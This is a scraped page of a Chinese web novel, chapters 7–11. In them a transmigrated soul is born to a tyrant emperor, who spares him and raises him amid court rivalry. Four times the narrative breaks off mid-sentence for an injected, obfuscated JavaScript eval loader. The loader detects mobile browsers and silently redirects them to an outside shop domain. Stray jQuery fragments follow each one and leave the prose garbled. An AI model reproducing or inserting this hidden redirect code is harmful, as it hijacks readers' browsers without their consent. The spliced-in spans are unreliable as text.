《胎穿到恶毒反派肚中》
7. 出生
又过了四个月,燕决明的肚子大了一圈,身形也愈加臃肿,但也没人往怀孕那边想,只觉得是陛下长好了。
这段时间燕决明越发嗜睡,孕吐倒是没那么严重了。
燕令雪心软得很,他明知道只要他出生,等待他的只有死路一条,可看燕决明难受,燕令雪也不闹他了。
不过燕决明也不怎么搭理他就是了,不是燕决明不想,而是这位年轻的暴君发觉,随着时间的推移,他感受着肚子里的孩子一点点长大,心里的不忍也越发强烈。
这是一种很奇妙的情感,每每燕令雪控制不住地在他肚子乱动时,燕决明能清晰地体会到,这个孩子与他骨肉相连,他的注意力和情绪都在围着燕令雪转,他们是一体的。
他是我的孩子。
燕决明觉得自己疯了,帝王的身份时刻警戒的他,强迫着燕决明心硬下来,但他发现他做不到。
“陛下,俞妃娘娘求见。”李德旺的话打断了燕决明的思绪。
燕决明:“宣。”
俞妃来的时候,带上了四皇子燕宁。
燕宁不过两岁大,长得白白胖胖的,燕令雪无聊地窝在燕决明的肚子里,他见到燕宁没忍住嘲燕决明提醒道:“爹,我觉得我四哥长得有些过于圆润,小孩子长胖了对身体不好。”
燕宁身材圆滚滚的,穿着件灰色的外袍,他刚进来时,燕令雪一晃眼,还以为马路边的石墩子滚进来了。
燕决明没接他的话,燕令雪习以为常,最近这段时间燕决明有意无意地故意冷落他,估计是看他快出生了,着急摆脱他吧。
燕令雪盯着眼前的石墩子,心里发酸。
多好啊,燕决明虽然对其他几个皇子不上心,可对他亲自生的,更是恨不得除之而后快。
死亡逼近,燕令雪将几个月前夸燕决明是好人的话抛之脑后,这人就是个坏人。
俞妃生得端庄大气,眉目舒展,她躬身朝燕决明行了一礼,从侍女那儿拿过食盒递给李德旺,“听闻陛下最近身体不适,臣妾放心不下,就连宁儿昨日也担忧陛下的身体,吵闹得要见父皇,臣妾便熬了些滋补的药膳送过来。 ”
俞妃一边说着,一边推推燕宁,“快,愣着做什么,叫你父皇。”
胖得跟球一样的燕宁磕磕绊绊地喊了声父皇。
燕决明看着燕宁,脑海里却控制不住地想,这个年纪的燕令雪是不是也会这样,结结巴巴地连话都说不清楚地喊他父皇。
他借着燕宁,开始想燕令雪。
他想燕令雪应该不会这么胖,这臭小子不爱吃葱姜蒜,不爱吃太辣的,也不爱吃过于清淡的,太甜的也不喜欢,燕决明前些月怀着他时,但凡吃到点燕令雪不爱的,燕决明就想吐。
就算生下来,估计也是万般难养。
俞妃见燕决明一直看着燕宁,心想,果然,不管怎么说,到底是亲生的孩子,陛下怎么可能真的不管不顾。
她正想撺掇着燕宁去抱燕决明,谁曾燕决明忽而冷淡开口,“知道了,退下吧以后不必再送,朕好得很。”
俞妃的笑意僵在脸上,可她没那个胆子忤逆燕决明,便是一句话也不敢多问。
眼下后宫的争宠,不是为了争燕决明更爱哪个妃子,而是燕决明更爱谁生的儿子。
上行下效,燕决明的皇位来历不正,上位后杀了所有的宗室诸王,以铁血手腕登上皇位,那么后宫中的几位皇子势必也会模仿他。
几乎所有人都开始默认,不斗就会死。
而事实也确实如此,燕令雪还记得书里曾经隐晦地提过。
燕决明对待几位皇子的教育及其极端,甚至有意让他们内斗,如同养蛊,谁强谁才能当这个皇帝。
用燕决明的话来说,连自己知根知底的手足都斗不过,真登上皇位也是个废物。
这么看,燕决明是个标准的暴君模板,苛刻臣子,对待亲儿子都麻木不仁,如同养宠般逗弄。
但却没人说他是昏君,毕竟当年随州失守,是燕决明后来拼死拼活将荼兰人赶回北原,登基后减轻赋税,安民固本,怎么都和昏庸这两个字沾不上边。
但是吧这人养孩子真不行,当然不是说他□□虐待皇子,而是几个皇子精神上的压力太大了。
所有人都是奔着活命去争的皇位,其实书里也写过,燕决明希望他们斗是为了有个良性竞争,不是真的要他们斗个你死我活。
但凡他出手引导一下,也不会落得最后六个皇子死得只剩三个的下场,不过燕决明也并不关心就是了。
燕令雪想,燕决明的孩子也不是这么好当,就算侥幸出生,燕决明一时心软没杀他,但这人也肯定不会护着他,自己又没有名义上的母亲,过不了多久也是死路一条。
算了算了,死到临头燕令雪也想开了,反正左右都是死,早死说不定还舒服些。
实际上也只是他在自我安慰而已。
燕令雪情绪低落。
俞妃告退,燕决明拿着手里的毛笔,批改奏折时,几次静不下心。
他有些焦躁,因为他开始期待燕令雪的降生了,他想看看这个孩子长什么,想知道他的未来如何,甚至想听对方喊他父皇。
燕决明从没体会过这种情感,一时间心乱如麻。
这种不安定感,一直持续到洛子千为他日常诊脉。
“这个月内,陛下随时可能会生产。”洛子千说:“行宫那边李公公准备妥当没有?”
李德旺一下就紧张了,“准备好了,但是就洛神医一个人,人手够吗?”
洛子千:“够,反正陛下也不准备留下七皇子。”
燕决明神色微变,几次欲言又止。
李德旺服侍燕决明这么多年,哪能看不出陛下的挣扎,但要是真留下七皇子,于陛下而言,实在是风险太大,李德旺哪敢提。
燕决明最终还是什么都没说:“不用有任何人跟着,洛子千一人足够,李德旺你盯好宫中风向,若是有人问,就说朕外出散心。”
李德旺连连点头。
洛子千:“太后娘娘担心你的身体,一直在向我询问陛下的情况。”
燕决明叹了口气,“母后那边不用管,你替我瞒着便行。”
不管怎么样,他以男子之身怀孕这件事,越少人知道越好。
为了防止意外,燕决明提前去了行宫,出发前一夜,他让李德旺备了一套小孩刚出生要用的东西。
李德旺睁大了眼睛,“陛下,您这是要——”
燕决明打断他,“只是以备不时之需。”
李德旺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822670|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一颗心砰砰直跳,他知晓以备不时之需这话不过是燕决明的托词,以燕决明的性格,若是他下定决心想杀了这孩子,又怎么会突然说这种话。
完了,李德旺想,空置已久的太子位可能已经要有人选了。
——
清和行宫很大,长廊蜿蜒,洛子千陪伴在燕决明身侧,他好奇地凝望着帝王的侧脸,他很想问问陛下,他对这孩子到底有什么想法。
洛子千觉得燕决明在挣扎,并且摇摆不定。
他想问,却没有问。
洛子千只是开始忧心,若是陛下真要保住这个孩子,那他们两个人从行宫带个娃回去该怎么解释。
但很快洛子千便没有时间考虑这些事了。
不到四日后,燕决明突然感觉腹部一阵剧痛,洛子千全程陪在他身边,见情景也明白陛下是要生,慌忙扶着人到殿内。
周围没有旁人,只有洛子千。
燕令雪害怕极了,他蜷缩在燕决明的肚子里,内心前所未有地不安,“你能不能下手轻一点,我好害怕。”
他说着说着最终呜咽地哭出了声。
他还不想死。
燕令雪以为燕决明不会理他,毕竟前些时日对方一直不和他说话,他知晓燕决明生产时肯定会很痛,于是说完这话,他便没再喊燕决明,只是很小声很小声地哭着。
谁曾想,燕决明分明痛得抓紧了手下的被褥,却仍旧分神安慰他,【别怕。】
燕令雪更想哭了,你都要杀我了,还让我别怕。
但当他看到洛子千将锋利的刀尖,对准燕决明肚子的那刻,燕令雪连怕是什么都不知道了。
那一刻他只觉得,燕决明讨厌他是正常。
如果没有他,燕决明根本不会这么狼狈地躺在床上受这种罪,生剖取子,古代的麻沸散比现代的麻药弱得多,他简直不敢想燕决明此刻有多痛。
他看不见燕决明的表情,只能听见对方嘴里不断溢出的呼痛声。
他似乎是痛到了极致,连声音都发不出。
燕令雪不哭了,他吓傻了,从燕决明的视角,他能清楚地看清对方的肚子是怎么被刀割开一个大洞的。
再然后,燕令雪什么都看不见了,他从温暖又狭窄的地方里出来,被人抱在了怀里,他先是觉得冷,而后有人用力打了他几下,疼痛让燕令雪放声大哭。
谁啊,打得这么重?
燕令雪睁不开眼睛,只能看清模糊的光晕。
他以为自己会死,但是没有。
有人用被褥把他裹了起来,那人手法老练,像是在包粽子。
最后,他被塞到了某个温暖的地方。
燕令雪睁开眼睛,却对上了另一双漂亮凌厉的眼睛,那双眼睛里并没有燕令雪想象中的冷漠,反而饱含温柔地注视着他。
燕令雪愣了好久,才意识到,他此刻正躺在燕决明的怀里。
他连哭都忘了。
一颗心突然在此刻变得宁静。
燕令雪看着燕决明的眼睛,想,他爹不会杀他了。
因为在这双眼睛里,燕令雪没有看到任何冰冷的杀意和厌恶浮现,只有连燕决明自己都未曾意识到的温柔和怜爱。
他听见燕决明带着笑,轻啧一声说:“长得真难看。”
8. 小孩真难养
燕决明原本是想狠心掐死这个孩子,但当他将燕令雪抱在怀里,感受着孩子的温度时,燕决明一时间什么都忘了。
他脑海里只有一个念头。
这孩子看着好小。
除此之外,燕决明再无其他心思。
连身上的伤口都没那么痛了。
怀里的小孩半睁着眼睛看着他,全身上下红彤彤的,嘴里咿咿呀呀的,也不知道在说些什么。
孩子出生后,燕决明发觉,他不能像往常一样听到燕令雪的声音了,这让他有些许不爽。
半个时辰过去,洛千子替燕决明缝好伤口换好药,“陛下这几日不能受风,伤口不能见水,否者容易感染,还请万分小心。”
燕决明应了声,视线却一直落在燕令雪身上,襁褓里的孩子瘦又脆弱,燕决明都不敢用力抱他,“他是不是太瘦了。”
洛子千解释道:“七皇子比其他皇子早出生两个月,小一点也正常。”
洛子千又问:“陛下准备怎么处置七皇子。”
洛子千这话刚问出,燕决明怀里的孩子就像是听懂了他的话一般,哼哼唧唧地往燕决明怀里蹭。
燕决明皱眉轻轻拍了拍孩子,抬眼冷冷扫了洛子千一眼。
洛子千:“.....”
他明白了,这是要留下的意思了。
燕决明如同掩饰般轻咳几声,“无妨,就当养只小动物,朕难不成真要和一个小孩子计较,那未免也太上不得台面了。”
洛子千信了,但他没完全信,燕决明的眼睛就没从孩子身上下来过,“既如此,陛下可为七皇子取名。”
燕决明脱口而出,“令雪,燕令雪。”
他就是我的孩子,燕决明想,孩子出生的那一刻,他就觉得怀里的孩子就该叫令雪。
令雪,令姿如雪。
而燕决明第一次感受到燕令雪存在的那天,窗外大雪纷飞,而今已是春日,万物勃发。
燕决明抱着怀里的柔软的婴儿,“怎么不哭了,刚刚不还哭得挺响亮得吗?”
洛子千:“可能是饿了。”
两个没养过孩子的人互相对视。
燕决明这次秘密外出,宫人乳娘一个没带,他自以为能狠下心,想着让洛子千把孩子剖出来就杀了,最后缝合完伤口休养几天便回宫。
现在好了,燕决明下定决心要养这个孩子,情况不一样了,只得命洛子千去找些羊奶来。
燕令雪乖巧地缩在燕决明胸口,心里酸酸胀胀的,他舍不得杀我了。
燕令雪瘪瘪嘴,到底是忍住没哭,他想,无论燕决明日后待他如何,他都无所谓了,从这一刻开始,他有娘了。
虽然他娘是男的。
他越来越像真的小孩子了,就连思维也在慢慢变得幼稚,燕令雪有些担心随着时间流逝,他会忘记上辈子的记忆,这不行,因为书里的燕决明三十多岁就死了。
既然燕决明生了他,那他就要改变对方的结局。
燕令雪习惯性焦虑了,小孩子呜呜咽咽地想把头埋进燕决明怀里,但他高估这具身体了,他的身体完全不受控制。
燕令雪胡乱伸手,扯住了燕决明的一丝头发。
燕决明头皮一痛,轻嘶一声,“力气还挺大。”
燕令雪吓一跳,他担心燕决明会生气,想松手,但是他的手压根不听他的使唤,抓着燕决明的头发不放。
小孩子又开始咿呀叫唤。
燕决明以为他饿了,他的指尖碰了碰燕令雪的手,又迅速退开,这只手太小了,他碰一下都怕弄疼了孩子。
于是,燕决明略微低头,任由小孩抓着他的头发,“好了,别叫唤了,朕可没奶水喂给你。”
他脾气好得不像话,哪有半点暴君的模样。
燕令雪眨巴着眼睛望着他,燕决明能留下他来,已经让他很震惊了,但燕决明似乎对他的态度有些太好了。
洛子千寻了些羊奶,他担心燕决明身上的伤,主动提议道:“陛下,我来喂他吧。”
燕决明没拒绝,他小心地将小娃娃递给洛子千,谁曾想洛子千刚接过孩子,怀里的婴儿便发出嘹亮的哭声。
或许是燕令雪在燕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822671|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
决明身体里待久了的缘故,又或许是刚降生到一个新世界,尚且不适应的缘故,一离开燕决明的怀抱,燕令雪的安全感瞬间降到最低。
洛子千吓了一跳,又慌慌张张把孩子塞回燕决明怀里,“还是陛下来吧。”
洛子千没抱过孩子,今日也是第一次抱,骤然抱到一团柔软的活物,他本就紧张得不行,更别提这活物还哭得大声。
燕决明也不知所措,他接过燕令雪,谁知小娃娃刚到他怀里便不哭了。
其实燕令雪很想说,燕决明抱孩子的手法太差劲了,他一点也不舒服,只是相较于这些,离开燕决明的身边让他更不舒服。
燕决明说不上来是什么感受,他有些得意,“看来他只想朕抱。”
洛子千疯狂点头,“那陛下抱吧。”
他一点也不想抱小孩,太吓人了。
燕决明捏着汤勺,小心地喂给燕令雪,他担心小孩呛到,一次只喂一点。
羊奶很腥,燕令雪不喜欢,可他也真的饿了,硬喝了小半碗。
燕决明喂得满头大汗,暗道,养孩子果然是件麻烦事。
燕令雪喝完就困了,迷迷糊糊地窝在燕决明臂弯不过几息之间便陷入梦乡。
既然燕决明决定留下燕令雪,那么就得给燕令雪的出生,编造一套合理的解释。
洛子千愁得就是这个,陛下出宫不久就抱个孩子回来,怎么想都很奇怪。
“就说朕在宫外养了个女人,朕很爱那个女人。”燕决明说:“然后那女子怀孕了,生了孩子,却不幸离世。”
洛子千:“……会不会有些太草率了。”
燕决明看他:“那你说能怎么办。”
没办法,燕决明太自以为是了,结果一切的发展都在按照他相反的计划走。
洛子千思索了一番,觉得这个理由也挺不错,正常人也想不到男子会怀孕,所以生下七皇子的只会是个女人。
至于那个女人存不存在并不重要,只需要他们假装有这个人就行。
先把谣言散播出去,自然会有其他人自行脑补。
9. 回宫
“听说陛下从行宫带了个孩子回来?”
“不止,那孩子还是陛下亲自抱回来的。”
凤梧宫中,张皇后轻轻皱着眉,姣好的面容染上些许不可置信,“亲自抱回来的?”
张皇后闻言有些心焦,她虽贵为皇后,又为燕决明诞下两位皇子,大皇子燕瑾更是嫡长子,按照以往的惯例,太子只能是皇后所出的嫡子。
但偏偏如今坐上皇位的人,是当今唯一一个打破了这一先例的帝皇,太子之位空悬已久,而明面上,皇帝并没有属意的人选。
燕决明感情淡薄,后宫中无偏爱的妃嫔,也没有偏爱的皇子,一视同仁到这个程度,完全就是漠视了。
张皇后哪能不懂皇帝的心思,皇帝不想要顶着嫡子头衔的太子,他想要的是真正有实力有能力的继承人。
可现在不同了,陛下亲自从行宫抱回来个孩子,张皇后打听到消息,听说那孩子的生母不过是个平常女子,而在她眼里冷漠无情的皇帝,为了这名女子的安全,竟是一直将其偷偷藏到宫外直到今日。
这放在燕决明身上简直毫无可能。
但事情已经发生,张皇后再不可置信也不能改变,反正她听说那女子生孩子便撒手人寰,死人不用在意,重要的是陛下对这个孩子的态度。
“你确定是陛下亲自抱回来的?”张皇后又问了一遍。
大宫女丹彤连连点头,“是真的,也不知道那女人到底什么来头,就连她生的孩子,陛下都宝贝得厉害。”
张皇后隐隐不安,当年她替燕决明生下第一个孩子的时候,对方也只是例行公事般给了她些赏赐,至于孩子,看都没来看一眼,更别说抱了。
这让张皇后一度觉得,燕决明要孩子,不过是为了堵住朝堂那些大臣的嘴,所有人都知道这一届的太子之位与往常不同,任何一个嫔妃生的孩子都有登上皇位的可能,那么孩子就成了挣夺权势的筹码。
张皇后站起身,“丹彤,随我去甘泉宫看看情况。”
她倒要看看,到底是什么孩子,能让陛下如此上心。
——
燕决明没打算亲自把燕令雪养在身边,若是把燕令雪养在甘泉宫,实在是太显眼了,不亚于后里的活靶子。
这宫里的人,无论男女都是人精,后宫就是另一个朝堂。
他原想将燕令雪过继舒贵妃名下,舒贵妃性格温婉不喜争斗,称的上一句良善,膝下也没有孩子。
李德旺的一席话让他改变了主意,“到底不是亲生的,舒贵妃再和善,也是宫里的妃子,不是平常妇人,七皇子现在又小,还不会说话.....”
剩下的话李德旺不说,燕决明岂能不知。
燕决明找不到属意的人选,非要说的话,把燕令雪养在太后膝下是最好不过的。
但问题在于,燕令雪太黏人了。
除了燕决明,任何人他都不让抱,燕决明回宫后还特意找了乳母,结果这小子刚到乳母怀里就哭得震天响,两只小脚胡乱蹬着,燕决明接过来,孩子又安静了,递过去又开始闹。
李德旺当时看得背后涌起冷汗,燕决明的反应出乎他李德旺的意料,男人只是从容接过孩子,命宫人给孩子喂了些羊奶。
他眉目间没有任何的不耐,男人一手撑着脑袋,另一只手托着孩子,饶有兴致地逗弄着,“怎么这么爱哭。”
燕令雪眨巴着眼睛,发出咯咯的笑声,他已然被这具身体给影响到,行为举止越发幼稚。
比如,他离开燕决明就想哭。
他只想缩在对方身边,哪也不去,一旦离开,一种莫大的恐慌感就会席卷全身。
好像这天地间,只有燕决明的怀里最安全。
他抬起两只小手,又要去抓燕决明的头发。
他控制不住,完全忍不住地想要更靠近对方。
这是他的父亲,他的母亲,是他在这个陌生的世界最亲近的人。
燕决明见他这样,便知晓他这是要睡了,燕令雪睡着之前,总是抓着他的头发,像是生怕他跑了似的。
张皇后来的时候看到的就是这幅景象,平日里冷漠寡言的帝王,此时正温柔地注视着怀里的婴儿,任
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822672|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
由孩子的小手抓着自己的头发不放。
张皇后心里咯噔一跳,只觉得完了。
都说帝王家里没有亲情,她一直也是这么认为的,可陛下看七皇子的眼神,和看其他皇子的眼神截然不同。
太温情了,温情到不像是在看皇子,而是在看自己的孩子。
张皇后匆忙行了礼,一时间心乱如麻。
这孩子还小,不过是个婴儿,就算陛下要立七皇子为太子,朝堂上的群臣也不会同意。
可再过几年呢,若是再过几年,七皇子但凡出挑一点,是不是这太子的位置便落到了他的头上。
可这也不一定。
帝王心思难猜,陛下现在这么喜欢七皇子,说不定只是一时兴起,只是觉得养着有趣。
燕决明抬眼,看到张皇后时,脸上的神情又变得冷淡,“皇后来了,有事吗?”
张皇后强颜欢笑,“听闻七皇子降生,臣妾特来探望,只是不知七皇子生母是谁……”
张皇后话还没说完,燕决明便打断了她,“死了,不用问了。”
李德旺暗道,生母就在你眼前坐着呢。
燕决明的反应,落到张皇后眼里变了味,她误认为是那女人的死,对燕决明打击太大,所以燕决明不愿让她提起。
“是臣妾唐突了。”张皇后低眉顺眼。
她的目光看向燕决明怀里的孩子,那孩子闭着眼睛窝在这天下最尊贵的男人怀中,睡得安稳,手上还抓着燕决明的头发不放,而性情淡漠的帝王,就这么纵容着那孩子抓着,表情没有丝毫不满。
可她当初生下她的瑾儿时,陛下看都未曾看过一眼。
张皇后起初是有些怨言的,后来她看到燕决明对其他妃嫔的孩子也这样,那点怨便也消散了。
如今,张皇后看着燕令雪,那点不平衡感又涌了上来。
张皇后:“孩子没有母亲总归是不太方便,陛下是如何打算的?”
燕决明轻笑一声,“皇后,你不是今日第一个问朕这个问题的人,怎么,朕做事,还需要向你们打招呼?”
10. 焦虑未来的小令雪
张皇后心里一惊,当即跪下,慌张道:“是臣妾关心则乱,还请陛下恕罪。”
动静有些大了,燕令雪被吵醒了。
燕决明怀里的孩子不知何时睁大了眼睛,他黑漆漆的瞳孔茫然地望着燕决明,捏着燕决明头发的手倒是半点没松开。
燕决明皱着眉把孩子往上抱了抱,压低声音对张皇后道:“出去。”
张皇后松了口气,知道陛下这是没同她计较。
至于这个孩子,陛下再怎么喜欢也不可能养在身边,迟早是要放到后宫的嫔妃手里。
张皇后离开后,内殿终于安静了,李德旺站在燕决明身后,伸着头好奇地去看对方怀里的燕令雪。
燕令雪眨巴着眼睛,嘴巴里发出嘟嘟囔囔的声音,反正他已然控制不住自己的身体,索性放飞自我,燕令雪的视线又被李德旺臂弯的拂尘吸引,他松开燕决明的头发,咿咿呀呀地伸手又要去摸李德旺的拂尘。
李德旺哎哟几声,哪敢不让这小祖宗摸,这位可是皇帝亲自生的皇子,从燕决明的态度也能看出,这孩子在燕决明心中的分量有多重。
李德旺连低着身子,好让七皇子够到他的拂尘。
燕决明觉得有趣,饶有兴致地看着燕令雪两只小手努力向上伸,眼看着燕令雪要即将要碰到拂尘时,燕决明坏心眼地又把拂尘拿高了些。
燕令雪扑了个空,也不笑了,表情有些疑惑地看着燕决明,燕决明晃着手里拂尘,“怎么不抓了?”
幼稚鬼。
燕令雪心里暗自嘀咕,瘪瘪嘴直接闭上了眼睛不理他了。
李德旺觉得惊奇,“哟,还生气了,才这么点的娃娃还会耍脾气,未来肯定是个聪明的孩子。”
后半句话纯粹是在拍马屁了,但燕令雪爱听,立马张开嘴嘿嘿地笑。
燕决明嗤笑一声,“朕看未必,没看见他笑得跟个傻子一样。”
燕令雪立马撇着眉头呜呜哇哇地指责他。
你才傻子。
李德旺直犯嘀咕,小殿下看着怎么像真能听懂陛下话似的。
夜已深,燕决明打算哄着他睡觉,可这人哄孩子的手法极其差劲,他盯着怀里的孩子,伸手捂住了燕令雪的眼睛,“快睡。”
燕令雪:“?”
你当自己是催眠师啊,你让我睡就睡。
燕令雪抱住燕决明的手不放,嘴里又开始咿呀叫唤。
喊了不到一会儿,燕令雪抱着他的手睡着了。
燕决明等小孩睡着后,一脸嫌弃地把手抽了出来,燕令雪蹭了他一手的口水。
李德旺忍着笑命人端了盆水。
皇帝从行宫抱回来个孩子这事,短短半月,掀起了不小的波澜。
各嫔妃的母族们,当然不想自家皇子又多一个竞争对手。
燕令雪的出生被人从上到下扒了一遍。
燕决明早就做好了准备,查来查去,这帮人发现燕令雪当真只是个普通女人所出,反而消停了下来。
皇位可不是那么好争的,同样,皇帝的喜欢也没有那么长久。
所有人都觉得,燕决明对燕令雪的宠爱是一时。
不过是燕令雪的母亲被燕决明看中,而她又死得凑巧,短暂激发了陛下的愧疚之心。
等这阵子过去,陛下腻味了,一切又都会恢复原样。
更何况,这七皇子还没有母亲,一个背后没有母族势力的皇子,在皇位争斗里和弃子没什么区别。
原本还有些惊慌失措的大臣们和嫔妃们又冷静了下来。
只有太后不这么想,燕决明是她的孩子,她难道不知道燕决明的德性?
周太后实在好奇这孩子的来历,她只能确定七皇子定是燕决明亲生的孩子,她儿子没那么好心替别人养娃。
只是燕决明说他爱的那个女人,周太后却是不大相信的。
她这个儿子寡情得厉害,更何况,他一个皇帝,就算真看中个普通人家的姑娘,有必要藏着掖着吗?
燕决明又不是什么傀儡皇帝,虽说有些方面出于大局的考量,不得不妥协,但后宫里多个女人,对皇帝而言算不得什么大事。
周太后跪在佛前忍不住叹气,她身边的大宫女云碧一看,便知晓她为什么忧心。
云碧提议道:“太后娘娘很久没去甘泉宫坐坐了,陛下前些月不还生着病?今日不如去探望一番。”
周太后冷哼,“去他哪儿做什么?受气?”
她是想看看她的小皇孙,却半点不想看到燕决明。
周太后心里有个疙瘩,这个疙瘩一天不解开,她就一天不想看见皇帝。
只是,燕决明到底是从她肚子里生出来的,嘴上说着不在意,心里多少还是有些挂念。
云碧自幼跟在周太后身边,知晓这位太后娘娘的心善又心软,“太后娘娘难道就不想看看小殿下?”
周太后淡声道:“你且等着,他若是真爱这个孩子,过不了多久,他得亲自把七皇子送过来给我养。”
周太后有些期待了,她这个儿子心思深沉,对待后宫里的皇子更是凉薄至极,周太后还真想看看,七皇子到底能不能激起燕决明心里那点父爱。
——
又过了几个月,燕令雪渐渐大了,不需要燕决明继续抱在怀里,脸也长开了不少,不像刚出生那样跟个猴子似的。
他皮肤生得雪白,眼睛又大又圆,眼珠子黑黑的,玉雪团子一样的小娃娃,谁看了不说一句可爱。
燕令雪被宫女抱着洗漱,视线扫过铜镜,对镜子里的自己非常满意。
不错不错,他日后定是个美男。
就是不知道能不能活到那个时候了。
自打他出生,甘泉宫的门槛都快被各宫的娘娘踩烂了,燕令雪倒是不怕燕决明宫里的嫔妃。
原书里写过,后宫的妃子不知是何缘故,异常害怕燕决明。
导致后宫之间非常平和。
像什么宫斗啊,为了维持地位杀害其他妃子的孩子啊,这些通通没发生过。
妃子们压根不敢动手。
反倒是那几个皇子有些吓人。
尤其是大皇子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822673|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
燕瑾。
这人是在几个皇子里,最让燕决明看好的一位皇子。
也是得到燕决明关注最多的皇子。
没别的,因为这娃足够心狠报复心极强,且足够聪敏。
所有被燕决明多看一眼的皇子,第二天不是腿摔断了,就是掉河里了。
去查,却什么都查不到。
做事极其干净利落,反侦查能力强得可怕。
而且他也知道不能下狠手,毕竟再怎么样谋害皇嗣也是大罪。
四五岁的年纪,能做到这个地步,当然能引起燕决明的注意,更别提,燕瑾特别聪明,无论是典章制度还时务策论一学就会。
燕令雪很忧愁,因为燕决明对他太好了,好到以燕瑾的性格百分之百会弄他,好在他在甘泉宫里,就是不知道等他长大了该怎么办。
燕令雪又开始为他的未来发愁。
他对皇位不感兴趣,也不想斗,未来能当个闲散王爷最好不过。
但条件不允许啊。
燕决明下了朝回来,就看见小孩一脸忧愁地蹙着眉,他圆嘟嘟的脸蛋上露出不符合年龄的神情,在外人看来格外好笑。
“又怎么了?”燕决明从宫女手里接过他,“怎么这副表情?”
李德旺笑道:“陛下刚刚是没看见,小殿下一醒来,表情可丰富了,一会儿皱眉,一会儿捂脸的。”
你还问,我怎么了,我怕被你儿子杀了。
燕令雪习惯性地伸手抓燕决明的头发,他算是发现了,他就是半点离不开他爹,虽说他有上一世的记忆,但整体举止和小孩没差别,离开燕决明他就会害怕,虽说最近好了点,但分离焦虑仍旧在燕令雪周围环绕。
他和燕决明的头发建立了浓厚的情感连接,指不抓着对方头发睡不着觉的那种。
但他抓着不动,也不乱扯,燕决明也就没纠正他的习惯。
燕令雪还不会说话,只能给他个眼神自行意会。
燕决明没接受到他的眼神信号,他屏退了下人,大概是又要事和人商量,燕令雪坐在他手臂上,安静地玩着燕决明的头发。
反正他听也听不懂。
直到燕决明开口喊了声,“影一。”
突然,一道人影从天而降,单膝下跪低着头,恭敬地跪在燕决明面前。
燕令雪眼睛豁然瞪大,他看了看房梁,又看了看跪在地上的影一,当场傻眼。
不是,你从哪里冒出来的?
他震惊的表情太过可爱。
燕决明勾了勾嘴角,又把他抱起来,“你不是想看暗卫,现在看到了。”
燕令雪盯着影一,影一盯着燕令雪。
两人对视,两人都没吭声。
一个不会说话,一个不爱说话。
燕令雪不可思议,居然真的有暗卫!
对,燕令雪后知后觉地想起来,书里的世界观是有武功设定来的。
他爹武功好像还挺强的,虽然没正面描写。
那他岂不是能学轻功?
燕令雪发现了盲点。
11. 哄人开心
“荼兰埋在洛京的暗桩已悉数拔出。”影一汇报着任务,余光情不自禁地往燕决明臂弯的小娃娃看去,他从没近距离观察过小殿下,好奇心趋势着他多看了几眼。
燕令雪注意到他的目光,歪了歪脑袋,圆圆的眼睛眨巴着,有些疑惑地哇了一声,他伸出爪子摸了摸自己的脸。
他脸上有东西吗?
小殿下好小.....好可爱。
影一垂下眼帘,强迫他的目光不再看向燕令雪。
燕决明轻敲着桌面,“什么都没问出来?”
没问出来倒也正常,那些人并不是荼兰人,有很大部分是流落到荼兰的孤儿,而后被洗脑训练出来的死士,他们只管执行命令,其它的一概不知。
这次荼兰的行动实在是诡异,计划全程漏洞百出。
燕决明还以为荼兰人还有什么后手等着他,结果这几个月风平浪静,就像是往平静的湖面丢下一颗石子,泛起涟漪过后,便又恢复原样。
这么拙劣的手段甚至让燕决明开始怀疑,荼兰是不是故意的,或许只是让他放松警惕的一种方式。
燕决明选择按兵不动。
影一:“他们似乎全都不知情,只是听命行事,背后真凶恐怕不在洛京。”
燕决明嗯了一声,“赵景那边继续盯着,把他当饵钓不上大鱼,但未必不会出奇效,记住别打草惊蛇。”
他说完,伸手将自己的头发从燕令雪嘴里抽出来,燕决明盯着自己湿哒哒的发尾,满脸嫌弃,“别乱咬。”
燕令雪也不想咬,但他真的控制不住,这个年纪的小孩就是什么都想往嘴里塞。
